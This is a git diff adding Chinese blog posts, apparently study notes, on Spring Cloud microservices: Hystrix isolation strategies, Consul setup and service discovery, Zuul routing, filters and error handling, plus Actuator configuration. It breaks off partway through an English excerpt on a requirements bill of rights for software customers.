+当用户请求服务A和服务I的时候，tomcat的线程(图中蓝色箭头标注)会将请求的任务交给服务A和服务I的内部线程池里面的线程(图中橘色箭头标注)来执行，tomcat的线程就可以去干别的事情去了，当服务A和服务I自己线程池里面的线程执行完任务之后，就会将调用的结果返回给tomcat的线程，从而实现资源的隔离，当有大量并发的时候，服务内部的线程池的数量就决定了整个服务的并发度，例如服务A的线程池大小为10个，当同时有12请求时，只会允许10个任务在执行，其他的任务被放在线程池队列中，或者是直接走降级服务，此时，如果服务A挂了，就不会造成大量的tomcat线程被服务A拖死，服务I依然能够提供服务。整个系统不会受太大的影响。 + +2、信号量 + +信号量的资源隔离只是起到一个开关的作用，例如，服务X的信号量大小为10，那么同时只允许10个tomcat的线程(此处是tomcat的线程，而不是服务X的独立线程池里面的线程)来访问服务X，其他的请求就会被拒绝，从而达到限流保护的作用。 + +3、二者的比较 + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 线程池隔离信号量隔离
线程与调用线程非相同线程与调用线程相同（jetty线程）
开销排队、调度、上下文开销等无线程切换，开销低
异步支持不支持
并发支持支持（最大线程池大小）支持（最大信号量上限）
+ +4、总结 + +当请求的服务网络开销比较大的时候，或者是请求比较耗时的时候，我们最好是使用线程隔离策略，这样的话，可以保证大量的容器(tomcat)线程可用，不会由于服务原因，一直处于阻塞或等待状态，快速失败返回。而当我们请求缓存这些服务的时候，我们可以使用信号量隔离策略，因为这类服务的返回通常会非常的快，不会占用容器线程太长时间，而且也减少了线程切换的一些开销，提高了缓存服务的效率。 + + + + +# 参考 ++ [服务容错保护断路器Hystrix之八：Hystrix资源隔离策略](https://www.cnblogs.com/duanxz/p/9681470.html) \ No newline at end of file diff --git a/_posts/2019-08-20-472-hystrix09.md b/_posts/2019-08-20-472-hystrix09.md new file mode 100644 index 0000000..2467e1e --- /dev/null +++ b/_posts/2019-08-20-472-hystrix09.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 微服务：Hystrix实现ThreadLocal上下文的传递 +pid: 472 +tags: [微服务] +--- + + +待更新！ + + + +# 参考 ++ [Hystrix实现ThreadLocal上下文的传递](https://www.cnblogs.com/duanxz/p/10949816.html) \ No newline at end of file diff --git a/_posts/2019-08-20-473-hystrix10.md b/_posts/2019-08-20-473-hystrix10.md new file mode 100644 index 0000000..73c2abb --- /dev/null +++ b/_posts/2019-08-20-473-hystrix10.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 微服务：Hystrix超时实现机制 +pid: 473 +tags: [微服务] +--- + + +待更新！ + + + +# 参考 ++ [Hystrix超时实现机制](https://www.cnblogs.com/duanxz/p/10950012.html) \ No newline at end of file diff --git a/_posts/2019-08-21-474-consul01.md b/_posts/2019-08-21-474-consul01.md new file mode 100644 index 0000000..6eaa433 --- /dev/null +++ b/_posts/2019-08-21-474-consul01.md @@ -0,0 +1,123 @@ +--- +layout: post +title: 微服务：consul介绍、安装、及功能介绍 +pid: 474 +tags: [微服务] +--- + +Consul 是一套开源的分布式服务发现和配置管理系统，由 HashiCorp 公司用 Go 语言开发。它具有很多优点。包括：基于 raft 协议，比较简洁； 支持健康检查, 同时支持 HTTP 和 DNS 协议 支持跨数据中心的 WAN(广域网) 集群 提供图形界面 跨平台，支持 Linux、Mac、Windows。 + +consul是使用go语言开发的服务发现、配置管理中心服务。内置了服务注册与发现框 架、分布一致性协议实现、健康检查、Key/Value存储、多数据中心方案，不再需要依赖其他工具（比如ZooKeeper等）。服务部署简单，只有一个可运行的二进制的包。每个节点都需要运行agent，他有两种运行模式server和client。每个数据中心官方建议需要3或5个server节点以保证数据安全，同时保证server-leader的选举能够正确的进行。 + +raft（分布式一致性协议）：见《一致性算法之：Raft》 + +@client + +CLIENT表示consul的client模式，就是客户端模式。是consul节点的一种模式，这种模式下，所有注册到当前节点的服务会被转发到SERVER，本身是不持久化这些信息。 + +@server + +SERVER表示consul的server模式，表明这个consul是个server，这种模式下，功能和CLIENT都一样，唯一不同的是，它会把所有的信息持久化的本地，这样遇到故障，信息是可以被保留的。 + +@server-leader + +中间那个SERVER下面有LEADER的字眼，表明这个SERVER是它们的老大，它和其它SERVER不一样的一点是，它需要负责同步注册的信息给其它的SERVER，同时也要负责各个节点的健康监测。 + +@raft + +server节点之间的数据一致性保证，一致性协议使用的是raft，而zookeeper用的paxos，etcd采用的也是taft。 + +@服务发现协议 + +consul采用http和dns协议，etcd只支持http + +@服务注册 + +consul支持两种方式实现服务注册，一种是通过consul的服务注册http API，由服务自己调用API实现注册，另一种方式是通过json个是的配置文件实现注册，将需要注册的服务以json格式的配置文件给出。consul官方建议使用第二种方式。 + +@服务发现 + +consul支持两种方式实现服务发现，一种是通过http API来查询有哪些服务，另外一种是通过consul agent 自带的DNS（8600端口），域名是以NAME.service.consul的形式给出，NAME即在定义的服务配置文件中，服务的名称。DNS方式可以通过check的方式检查服务。 + +@服务间的通信协议 + +Consul使用gossip协议管理成员关系、广播消息到整个集群，他有两个gossip pool（LAN pool和WAN pool），LAN pool是同一个数据中心内部通信的，WAN pool是多个数据中心通信的，LAN pool有多个，WAN pool只有一个。 + +# 一、基本概念 + +在描述架构之前，这里提供了一些术语来帮助声明正在探讨的东西： + ++ Agent: agent是一直运行在Consul集群中每个成员上的守护进程。通过运行 consul agent 来启动。agent可以运行在client或者server模式。指定节点作为client或者server是非常简单的，除非有其他agent实例。所有的agent都能运行DNS或者HTTP接口，并负责运行时检查和保持服务同步。 ++ Client: 一个Client是一个转发所有RPC到server的代理。这个client是相对无状态的。client唯一执行的后台活动是加入LAN gossip池。这有一个最低的资源开销并且仅消耗少量的网络带宽。 ++ Server: 一个server是一个有一组扩展功能的代理，这些功能包括参与Raft选举，维护集群状态，响应RPC查询，与其他数据中心交互WAN gossip和转发查询给leader或者远程数据中心。 ++ DataCenter: 虽然数据中心的定义是显而易见的，但是有一些细微的细节必须考虑。例如，在EC2中，多个可用区域被认为组成一个数据中心？我们定义数据中心为一个私有的，低延迟和高带宽的一个网络环境。这不包括访问公共网络，但是对于我们而言，同一个EC2中的多个可用区域可以被认为是一个数据中心的一部分。 ++ Consensus: 在我们的文档中，我们使用Consensus来表明就leader选举和事务的顺序达成一致。由于这些事务都被应用到有限状态机上，Consensus暗示复制状态机的一致性。 ++ Gossip: Consul建立在Serf的基础之上，它提供了一个用于多播目的的完整的gossip协议。Serf提供成员关系，故障检测和事件广播。更多的信息在gossip文档中描述。这足以知道gossip使用基于UDP的随机的点到点通信。 ++ LAN Gossip: 它包含所有位于同一个局域网或者数据中心的所有节点。 ++ WAN Gossip: 它只包含Server。这些server主要分布在不同的数据中心并且通常通过因特网或者广域网通信。 ++ RPC: 远程过程调用。这是一个允许client请求server的请求/响应机制。 + +**从10000万英尺的高度看consul架构：** + +![](/uploads/2019/08/21-04.png) + +拆解开这个体系，从每一个组件开始了解。首先，可以看到有两个数据中心，分别标记为“one”和“two”。Consul是支持多数据中心一流，并且是常用业务场景。 + +每个数据中心都是由Server和client组成。建议有3~5 Server——基于故障处理和性能的平衡之策。如果增加越多的机器，则Consensus会越来越慢。对client没有限制，可以很容易地扩展到成千上万或数万。 + +同一个数据中心的所有节点都要加入Gossip协议。这意味着gossip pool包含给定数据中心的所有节点。有以下目的：首先，没有必要为client配置服务器地址参数；发现是自动完成的。第二，节点故障检测的工作不是放置在服务器上，而是分布式的。这使故障检测比心跳机制更可扩展性。第三，可用来作为消息层通知重要的事件，如leader选举。 + +每个数据中心的服务器都是属于一个Raft peer。这意味着，他们一起工作，选出一个的Leader，Leader server是有额外的职责。负责处理所有的查询和事务。事务也必须通过Consensus协议复制到所有的伙伴。由于这一要求，当非Leader Server接收到一个RPC请求，会转发到集群的leader。 + +Server节点也是作为WAN gossip pool的一部分。这个pool是与LAN gossip pool是不同的，它为具有更高延迟的网络响应做了优化，并且可能包括其他consul集群的server节点。设计WANpool的目的是让数据中心能够以low-touch的方式发现彼此。将一个新的数据中心加入现有的WAN Gossip是很容易的。因为池中的所有Server都是可控制的，这也使跨数据中心的要求。当一个Serfer接收到不同的数据中心的要求时，它把这个请求转发给相应数据中心的任一Server。然后，接收到请求的Server可能会转发给Leader。 + +多个数据中心之间是低耦合，但由于故障检测、连接缓存复用、跨数据中心要求快速和可靠的响应。 + +# 二、consul安装 + ++ 到consul的官网下载：https://www.consul.io/downloads.html ++ 启动 + +``` +consul agent -dev +``` ++ 访问 + +``` +http://localhost:8500/ui/dc1/services +``` + +![](/uploads/2019/08/21-05.png) + + +其它机器如果要访问，则需要加-client参数 + ++ 启动 + +``` +consul agent -dev -client 192.168.10.188 -ui +``` ++ 访问 + +``` +http://192.168.10.188:8500/ui/dc1/services +``` + +![](/uploads/2019/08/21-06.png) + +# consul功能介绍 + +consul 具有以下性质： + ++ service discovery（服务发现）：consul通过DNS或者HTTP接口使服务注册和服务发现变的很容易，一些外部服务，例如saas提供的也可以一样注册。 ++ health checking（服务健康监测）：健康检测使consul可以快速的告警在集群中的操作。和服务发现的集成，可以防止服务转发到故障的服务上面。 ++ key/value storage（ey/value 存储）：一个用来存储动态配置的系统。提供简单的HTTP接口，可以在任何地方操作。 ++ multi-datacenter（多数据中心）：无需复杂的配置，即可支持任意数量的区域。 + +consul可运行在mac windows Linux 等机器上。 + +# 参考 + ++ [服务注册发现consul之一：consul介绍、安装、及功能介绍](https://www.cnblogs.com/duanxz/p/7053301.html) ++ [一致性算法之：Raft](https://www.cnblogs.com/duanxz/p/3634744.html) ++ [consul分布式集群搭建](https://www.cnblogs.com/duanxz/p/10564502.html) diff --git a/_posts/2019-08-21-475-consul02.md b/_posts/2019-08-21-475-consul02.md new file mode 100644 index 0000000..9f2ed3d --- /dev/null +++ b/_posts/2019-08-21-475-consul02.md @@ -0,0 +1,152 @@ +--- +layout: post +title: 微服务：在Spring Cloud中使用Consul实现服务的注册和发现 +pid: 475 +tags: [微服务] +--- + +首先安装consul环境，参照之前的文章：《服务注册发现consul之一：consul介绍及安装》中的第一节介绍。 + +我们配置三个服务器： ++ consul-server1 ++ consul-server2 ++ consul-client + +# consul-server1 + ++ 更新 ConsulServer1Application.java + +``` +package com.baoguoding.consulserver1; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.cloud.client.discovery.EnableDiscoveryClient; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +@SpringBootApplication +@EnableDiscoveryClient +@RestController +public class ConsulServer1Application { + + @RequestMapping("/home") + public Object home() { + System.out.println("cloud-server1"); + return "cloud-server1"; + } + + public static void main(String[] args) { + SpringApplication.run(ConsulServer1Application.class, args); + } + +} + +``` + ++ 更新 application.properties + +``` +spring.cloud.consul.host=localhost +spring.cloud.consul.port=8500 +spring.cloud.consul.discovery.healthCheckPath=${management.contextPath}/health +spring.cloud.consul.discovery.healthCheckInterval=15s +spring.cloud.consul.discovery.instance-id=consul-server1 +spring.application.name=consul-server +server.port=8503 +``` + +![](/uploads/2019/08/21-07.png) + ++ 访问 http://localhost:8500/v1/catalog/service/consul-server + +``` +[ + { + "ID": "68c9aed5-1bc2-2a9a-7d60-80f8cf87be9c", + "Node": "baoguo-PC", + "Address": "127.0.0.1", + "Datacenter": "dc1", + "TaggedAddresses": { + "lan": "127.0.0.1", + "wan": "127.0.0.1" + }, + "NodeMeta": { + "consul-network-segment": "" + }, + "ServiceKind": "", + "ServiceID": "consul-server1", + "ServiceName": "consul-server", + "ServiceTags": [ + "secure=false" + ], + "ServiceAddress": "baoguo-PC", + "ServiceWeights": { + "Passing": 1, + "Warning": 1 + }, + "ServiceMeta": {}, + "ServicePort": 8503, + "ServiceEnableTagOverride": false, + "ServiceProxyDestination": "", + "ServiceProxy": {}, + "ServiceConnect": {}, + "CreateIndex": 12, + "ModifyIndex": 12 + } +] + +``` + + +# consul-server2 + +参考源代码 + +# consul-client + +参考源代码 + + +![](/uploads/2019/08/21-08.png) + +![](/uploads/2019/08/21-09.png) + +![](/uploads/2019/08/21-10.png) + ++ 访问 http://localhost:8501/services + +``` +[ + { + "instanceId": "consul-server1", + "serviceId": "consul-server", + "host": "baoguo-PC", + "port": 8503, + "secure": false, + "metadata": { + "secure": "false" + }, + "uri": "http://baoguo-PC:8503", + "scheme": null + }, + { + "instanceId": "consul-server2", + "serviceId": "consul-server", + "host": "baoguo-PC", + "port": 8504, + "secure": false, + "metadata": { + "secure": "false" + }, + "uri": "http://baoguo-PC:8504", + "scheme": null + } +] +``` + ++ 访问 localhost:8501/discover + + +# 参考 ++ [服务注册发现consul之二：在Spring Cloud中使用Consul实现服务的注册和发现](https://www.cnblogs.com/duanxz/p/7049350.html) diff --git a/_posts/2019-08-23-476-zuul01.md b/_posts/2019-08-23-476-zuul01.md new file mode 100644 index 0000000..e9b1f63 --- /dev/null +++ b/_posts/2019-08-23-476-zuul01.md @@ -0,0 +1,221 @@ +--- +layout: post +title: 微服务：zuul入门介绍 +pid: 476 +tags: [微服务] +--- + +**单实例配置** + ++ 更新 ApiGatewayApplication.java + +```java +package com.baoguoding.apigateway; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.cloud.netflix.zuul.EnableZuulProxy; + + +@EnableZuulProxy +@SpringBootApplication +public class ApiGatewayApplication { + + public static void main(String[] args) { + SpringApplication.run(ApiGatewayApplication.class, args); + } + +} + +``` + ++ 更新 application.properties + +``` +spring.application.name=api-gateway +server.port=5555 +zuul.routes.api-test.path=/api-test/** +zuul.routes.api-test.url=http://localhost:2223/ +``` + ++ 访问 http://127.0.0.1:5555/api-test/add?a=1&b=2&sn=1 + +![](/uploads/2019/08/25-01.png) + +**多实例配置** + ++ 更新 application.properties + +``` +spring.application.name=api-gateway +server.port=5555 +zuul.routes.api-test.path=/api-test/** +#zuul.routes.api-test.url=http://localhost:2223/ +api-test.ribbon.listOfServers=http://localhost:2223/,http://localhost:2221/ +``` + ++ 访问 http://127.0.0.1:5555/api-test/add?a=1&b=2&sn=1 + +通过这种方式实现基本的负载均衡 + +**通过serviceId来映射 + ++ 更新 pom.xml + +``` + + org.springframework.cloud + spring-cloud-starter-netflix-eureka-client + +``` + ++ 更新 ApiGatewayApplication.java + +``` +package com.baoguoding.apigateway; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.cloud.client.discovery.EnableDiscoveryClient; +import org.springframework.cloud.netflix.zuul.EnableZuulProxy; + + +@EnableDiscoveryClient +@EnableZuulProxy +@SpringBootApplication +public class ApiGatewayApplication { + + public static void main(String[] args) { + SpringApplication.run(ApiGatewayApplication.class, args); + } + +} + +``` + ++ 更新 application.properties + +``` +spring.application.name=api-gateway +server.port=5555 +zuul.routes.api-test.path=/api-test/** +zuul.routes.api-test.url=http://localhost:2223/ +#api-test.ribbon.listOfServers=http://localhost:2223/,http://localhost:2221/ + +zuul.routes.api-a.path=/api-a/** +zuul.routes.api-a.serviceId=COMPUTE-SERVICE +zuul.routes.api-b.path=/api-b/** +zuul.routes.api-b.serviceId=COMPUTE-SERVICE-B +eureka.client.serviceUrl.defaultZone=http://localhost:1111/eureka/ +``` + ++ 访问 http://127.0.0.1:5555/api-test/add?a=1&b=2&sn=1 ++ 访问 http://127.0.0.1:5555/api-a/add?a=1&b=2&sn=1 ++ 访问 http://127.0.0.1:5555/api-b/add?a=1&b=2&sn=1 + +![](/uploads/2019/08/25-02.png) + +**服务过滤** + ++ 更新 ApiGatewayApplication.java + +``` +package com.baoguoding.apigateway; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.cloud.client.discovery.EnableDiscoveryClient; +import org.springframework.cloud.netflix.zuul.EnableZuulProxy; +import org.springframework.context.annotation.Bean; + + +@EnableDiscoveryClient +@EnableZuulProxy +@SpringBootApplication +public class ApiGatewayApplication { + + @Bean + public AccessFilter accessFilter() { + return new AccessFilter(); + } + + public static void main(String[] args) { + SpringApplication.run(ApiGatewayApplication.class, args); + } + +} + +``` + ++ 新增 AccessFilter.java + +``` +package com.baoguoding.apigateway; + +import com.netflix.zuul.ZuulFilter; +import com.netflix.zuul.context.RequestContext; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import javax.servlet.http.HttpServletRequest; + + +public class AccessFilter extends ZuulFilter { + + private static Logger log = LoggerFactory.getLogger(AccessFilter.class); + + @Override + public String filterType() { + return "pre"; + } + + @Override + public int filterOrder() { + return 0; + } + + @Override + public boolean shouldFilter() { + return true; + } + + @Override + public Object run() { + RequestContext ctx = RequestContext.getCurrentContext(); + HttpServletRequest request = ctx.getRequest(); + + log.info(String.format("%s request to %s", request.getMethod(), request.getRequestURL().toString())); + + Object accessToken = request.getParameter("accessToken"); + if (accessToken == null) { + log.warn("access token is empty"); + ctx.setSendZuulResponse(false); + ctx.setResponseStatusCode(401); + return null; + } + log.info("access token ok"); + return null; + } + +} +``` + ++ 访问 http://127.0.0.1:5555/api-b/add?a=1&b=2&sn=1 + +![](/uploads/2019/08/25-03.png) + ++ 访问 http://127.0.0.1:5555/api-b/add?a=1&b=2&sn=1&accessToken=token + +可以有正确的返回结果 + +![](/uploads/2019/08/25-04.png) + +最后，总结一下为什么服务网关是微服务架构的重要部分，是我们必须要去做的原因： + ++ 不仅仅实现了路由功能来屏蔽诸多服务细节，更实现了服务级别、均衡负载的路由。 ++ 实现了接口权限校验与微服务业务逻辑的解耦。通过服务网关中的过滤器，在各生命周期中去校验请求的内容，将原本在对外服务层做的校验前移，保证了微服务的无状态性，同时降低了微服务的测试难度，让服务本身更集中关注业务逻辑的处理。 ++ 实现了断路器，不会因为具体微服务的故障而导致服务网关的阻塞，依然可以对外服务。 + +# 参考 ++ [服务网关zuul之一：入门介绍](https://www.cnblogs.com/duanxz/p/7527765.html) ++ [zuul学习二：zuul路由详解(一）](https://www.jianshu.com/p/44da2daacb69) \ No newline at end of file diff --git a/_posts/2019-08-25-477-zuul02.md b/_posts/2019-08-25-477-zuul02.md new file mode 100644 index 0000000..f3707ce --- /dev/null +++ b/_posts/2019-08-25-477-zuul02.md @@ -0,0 +1,75 @@ +--- +layout: post +title: 微服务：过滤器 +pid: 477 +tags: [微服务] +--- + +Zuul的核心是一系列的过滤器，这些过滤器可以完成以下功能： + ++ 身份认证与安全：识别每个资源的验证要求，并拒绝那些与要求不符的请求。 ++ 审查与监控：在边缘位置追踪有意义的数据和统计结果，从而带来精确的生成视图。 ++ 动态路由：动态地将请求路由到不同的后端集群。 ++ 压力测试：逐渐增加执行集群的流量，以了解性能。 ++ 负载分配：为每一种负载类型分配对应容量，并弃用超出限定值得请求。 ++ 静态响应处理：在边缘位置直接建立部分响应，从而避免其转发到内部集群。 ++ 多区域弹性：跨越AWS Region进行请求路由，旨在实现ELB（Elastic Load Balancing)使用的多样化，以及让系统的边缘更贴近系统的使用者。 ++ 在实现了请求路由功能后，我们的微服务应用提供的接口就可以通过统一的API网关入口被客户端访问到了。但是，每个客户端用户请求为服务器应用提供的接口时，它们的访问权限往往都有一定的限制，系统并不会将所有的微服务接口都对它们开放。 + +有4类可重写的方法来自定义过滤器，如下： + ++ filterType：返回一个字符串代表过滤器的类型，在zuul中定义了四种不同生命周期的过滤器类型，具体如下：自定义过滤器的实现，需要继承ZuulFilter，需要重写实现下面四个方法： + + pre：可以在请求被路由之前调用 + + routing：在路由请求时候被调用 + + post：在routing和error过滤器之后被调用 + + error：处理请求时发生错误时被调用 ++ filterOrder：通过int值来定义过滤器的执行顺序 ++ shouldFilter：返回一个boolean类型来判断该过滤器是否要执行，所以通过此函数可实现过滤器的开关。在上例中，我们直接返回true，所以该过滤器总是生效。 ++ run：过滤器的具体逻辑。需要注意，这里我们通过ctx.setSendZuulResponse(false)令zuul过滤该请求，不对其进行路由，然后通过ctx.setResponseStatusCode(401)设置了其返回的错误码，当然我们也可以进一步优化我们的返回，比如，通过ctx.setResponseBody(body)对返回body内容进行编辑等。 + +**请求生命周期** + +对于其他一些过滤类型，这里就不一一展开了，根据之前对filterType生命周期介绍，可以参考下图去理解，并根据自己的需要在不同的生命周期中去实现不同类型的过滤器。 + +![](/uploads/2019/08/25-04.png) + +Zuul大部分功能都是通过过滤器来实现的，这些过滤器类型对应于请求的典型生命周期： + ++ PRE： 这种过滤器在请求被路由之前调用。我们可利用这种过滤器实现身份验证、在集群中选择请求的微服务、记录调试信息等。 ++ ROUTING：这种过滤器将请求路由到微服务。这种过滤器用于构建发送给微服务的请求，并使用Apache HttpClient或Netfilx Ribbon请求微服务。 ++ POST：这种过滤器在路由到微服务以后执行。这种过滤器可用来为响应添加标准的HTTP Header、收集统计信息和指标、将响应从微服务发送给客户端等。 ++ ERROR：在其他阶段发生错误时执行该过滤器。 ++ 除了默认的过滤器类型，Zuul还允许我们创建自定义的过滤器类型。例如，我们可以定制一种STATIC类型的过滤器，直接在Zuul中生成响应，而不将请求转发到后端的微服务。 + +在完成了pre类型的过滤器处理之后，请求进入第二个阶段routing，也就是之前说的路由请求转发阶段，请求将会被routing类型过滤器处理，这里的具体处理内容就是将外部请求转发到具体服务实例上去的过程，当服务实例将请求结果都返回之后，routing阶段完成，请求进入第三个阶段post，此时请求将会被post类型的过滤器进行处理，这些过滤器在处理的时候不仅可以获取到请求信息，还能获取到服务实例的返回信息，所以在post类型的过滤器中，我们可以对处理结果进行一些加工或转换等内容。 + +另外，还有一个特殊的阶段error，该阶段只有在上述三个阶段中发生异常的时候才会触发，但是它的最后流向还是post类型的过滤器，因为它需要通过post过滤器将最终结果返回给请求客户端（实际实现上还有一些差别，后续介绍）。 + + +待更新！ + + + + + + + + + + + + + + + + + + + + + + + +# 参考 + ++ [服务网关zuul之二：过滤器](https://www.cnblogs.com/duanxz/p/7542150.html) \ No newline at end of file diff --git a/_posts/2019-08-25-478-zuul03.md b/_posts/2019-08-25-478-zuul03.md new file mode 100644 index 0000000..0f8d168 --- /dev/null +++ b/_posts/2019-08-25-478-zuul03.md @@ -0,0 +1,161 @@ +--- +layout: post +title: 微服务：zuul统一异常处理 +pid: 478 +tags: [微服务] +--- + +我们详细介绍了Spring Cloud Zuul中自己实现的一些核心过滤器，以及这些过滤器在请求生命周期中的不同作用。我们会发现在这些核心过滤器中并没有实现error阶段的过滤器。那么这些过滤器可以用来做什么呢？接下来，本文将介绍如何利用error过滤器来实现统一的异常处理。 + +**过滤器中抛出异常的问题** + +首先，我们可以来看看默认情况下，过滤器中抛出异常Spring Cloud Zuul会发生什么现象。我们创建一个pre类型的过滤器，并在该过滤器的run方法实现中抛出一个异常。比如下面的实现，在run方法中调用的doSomething方法将抛出RuntimeException异常。 + ++ 创建 ThrowExceptionFilter.java + +``` +package com.baoguoding.apigateway; + +import com.netflix.zuul.ZuulFilter; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class ThrowExceptionFilter extends ZuulFilter { + + private static Logger log = LoggerFactory.getLogger(ThrowExceptionFilter.class); + + @Override + public String filterType() { + return "pre"; + } + + @Override + public int filterOrder() { + return 0; + } + + @Override + public boolean shouldFilter() { + return true; + } + + @Override + public Object run() { + log.info("This is a pre filter, it will throw a RuntimeException"); + doSomething(); + return null; + } + + private void doSomething() { + throw new RuntimeException("Exist some errors..."); + } + +} +``` + ++ 更新ApiGatewayApplication.java + +``` +package com.baoguoding.apigateway; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.cloud.client.discovery.EnableDiscoveryClient; +import org.springframework.cloud.netflix.zuul.EnableZuulProxy; +import org.springframework.context.annotation.Bean; + + +@EnableDiscoveryClient +@EnableZuulProxy +@SpringBootApplication +public class ApiGatewayApplication { + + @Bean + public AccessFilter accessFilter() { + return new AccessFilter(); + } + + @Bean + public ThrowExceptionFilter throwExceptionFilter() { + return new ThrowExceptionFilter(); + } + + public static void main(String[] args) { + SpringApplication.run(ApiGatewayApplication.class, args); + } + +} + +``` + +运行网关程序并访问某个路由请求，此时我们会发现：在API网关服务的控制台中输出了ThrowExceptionFilter的过滤逻辑中的日志信息，但是并没有输出任何异常信息，同时发起的请求也没有获得任何响应结果。为什么会出现这样的情况呢？我们又该如何在过滤器中处理异常呢？ + +**解决方案一：严格的try-catch处理** + +运行网关程序并访问某个路由请求，此时我们会发现：在API网关服务的控制台中输出了ThrowExceptionFilter的过滤逻辑中的日志信息，但是并没有输出任何异常信息，同时发起的请求也没有获得任何响应结果。为什么会出现这样的情况呢？我们又该如何在过滤器中处理异常呢？ + +回想一下，我们在上一节中介绍的所有核心过滤器，是否还记得有一个post过滤器SendErrorFilter是用来处理异常信息的？根据正常的处理流程，该过滤器会处理异常信息，那么这里没有出现任何异常信息说明很有可能就是这个过滤器没有被执行。所以，我们不妨来详细看看SendErrorFilter的shouldFilter函数： + +``` + @Override + public boolean shouldFilter() { + RequestContext ctx = RequestContext.getCurrentContext(); + // only forward to errorPath if it hasn't been forwarded to already + return ctx.containsKey("error.status_code") + && !ctx.getBoolean(SEND_ERROR_FILTER_RAN, false); + } +``` + +可以看到该方法的返回值中有一个重要的判断依据ctx.containsKey("error.status_code")，也就是说请求上下文中必须有error.status_code参数，我们实现的ThrowExceptionFilter中并没有设置这个参数，所以自然不会进入SendErrorFilter过滤器的处理逻辑。那么我们要如何用这个参数呢？我们可以看一下route类型的几个过滤器，由于这些过滤器会对外发起请求，所以肯定会有异常需要处理，比如spring-cloud-netflix-core-1.1.4.RELEASE.jar中的org.springframework.cloud.netflix.zuul.filters.route.RibbonRoutingFilter的run方法实现如下： + +``` + @Override + public Object run() { + RequestContext context = RequestContext.getCurrentContext(); + this.helper.addIgnoredHeaders(); + try { + RibbonCommandContext commandContext = buildCommandContext(context); + ClientHttpResponse response = forward(commandContext); + setResponse(response); + return response; + } + catch (ZuulException ex) { + context.set(ERROR_STATUS_CODE, ex.nStatusCode); + context.set("error.message", ex.errorCause); + context.set("error.exception", ex); + } + catch (Exception ex) { + context.set("error.status_code", + HttpServletResponse.SC_INTERNAL_SERVER_ERROR); + context.set("error.exception", ex); + } + return null; + } +``` + +可以看到，整个发起请求的逻辑都采用了try-catch块处理。在catch异常的处理逻辑中并没有做任何输出操作，而是往请求上下文中添加一些error相关的参数，主要有下面三个参数： + ++ error.status_code：错误编码 ++ error.exception：Exception异常对象 ++ error.message：错误信息 + +其中，error.status_code参数就是SendErrorFilter过滤器用来判断是否需要执行的重要参数。分析到这里，实现异常处理的大致思路就开始明朗了，我们可以参考RibbonRoutingFilter的实现对ThrowExceptionFilter的run方法做一些异常处理的改造，具体如下： + +``` + @Override + public Object run() { + log.info("This is a pre filter, it will throw a RuntimeException"); + RequestContext ctx = RequestContext.getCurrentContext(); + try { + doSomething(); + } catch (Exception e) { + ctx.set("error.status_code", HttpServletResponse.SC_INTERNAL_SERVER_ERROR); + ctx.set("error.exception", e); + } + return null; + } +``` + + +# 参考 ++ [服务网关zuul之三：zuul统一异常处理](https://www.cnblogs.com/duanxz/p/7543040.html) \ No newline at end of file diff --git a/_posts/2019-08-25-479-sleuth.md b/_posts/2019-08-25-479-sleuth.md new file mode 100644 index 0000000..5c4b676 --- /dev/null +++ b/_posts/2019-08-25-479-sleuth.md @@ -0,0 +1,13 @@ +--- +layout: post +title: 微服务：Sleuth +pid: 479 +tags: [微服务] +--- + +微服务架构是一个分布式架构，它按业务划分服务单元，一个分布式系统往往有很多个服务单元。由于服务单元数量众多，业务的复杂性，如果出现了错误和异常，很难去定位。主要体现在，一个请求可能需要调用很多个服务，而内部服务的调用复杂性，决定了问题难以定位。所以微服务架构中，必须实现分布式链路追踪，去跟进一个请求到底有哪些服务参与，参与的顺序又是怎样的，从而达到每个请求的步骤清晰可见，出了问题，很快定位。 + + +# 参考 + ++ [服务链路追踪](https://www.cnblogs.com/duanxz/p/7552857.html) \ No newline at end of file diff --git a/_posts/2019-08-26-480-actuator.md b/_posts/2019-08-26-480-actuator.md new file mode 100644 index 0000000..95f563a --- /dev/null +++ b/_posts/2019-08-26-480-actuator.md @@ -0,0 +1,26 @@ +--- +layout: post +title: 微服务：Spring Cloud Actuator +pid: 480 +tags: [微服务] +--- + ++ 更新 application.properties + +``` +spring.management.security.enabled=true +spring.security.basic.enabled=true +spring.security.user.name=admin +spring.security.user.password=admin + +management.endpoints.web.base-path=/ +management.endpoints.web.exposure.include=* + +info.app.name=@project.name@ +info.app.description=@project.description@ +info.app.version=@project.version@ +info.app.spring-boot-version=@project.parent.version@ +``` + +# 参考 ++ [使用 Spring Boot Actuator 监控应用](http://www.ityouknow.com/springboot/2018/02/06/spring-boot-actuator.html) diff --git a/_posts/2019-09-20-481-Bill-of-Rights-n-Responsibilities.md b/_posts/2019-09-20-481-Bill-of-Rights-n-Responsibilities.md new file mode 100644 index 0000000..473dfbe --- /dev/null +++ b/_posts/2019-09-20-481-Bill-of-Rights-n-Responsibilities.md @@ -0,0 +1,207 @@ +--- +layout: post +title: 客户与开发人员的合作伙伴关系 +pid: 481 +tags: [软件工程及软件方法学] +--- + +An excellent software product results from a well-executed design based on excellent requirements. Excellent requirements result from effective collaboration between developers and customers (in particular, actual users)—a partnership. A collaborative effort can work only when all parties involved know what they need to be successful and when they understand and respect what their collaborators need to be successful. As project pressures rise, it’s easy to forget that all stakeholders share a common objective： to build a product that provides adequate business value and rewards to all stakeholders. The business analyst typically is the point person who has to forge this collaborative partnership. + +--- +**TABLE 2-1** Requirements Bill of Rights for Software Customers + +**You have the right to** + +1. Expect BAs to speak your language. +2. Expect BAs to learn about your business and your objectives. +3. Expect BAs to record requirements in an appropriate form. +4. Receive explanations of requirements practices and deliverables. +5. Change your requirements. +6. Expect an environment of mutual respect. +7. Hear ideas and alternatives for your requirements and for their solution. +8. Describe characteristics that will make the product easy to use. +9. Hear about ways to adjust requirements 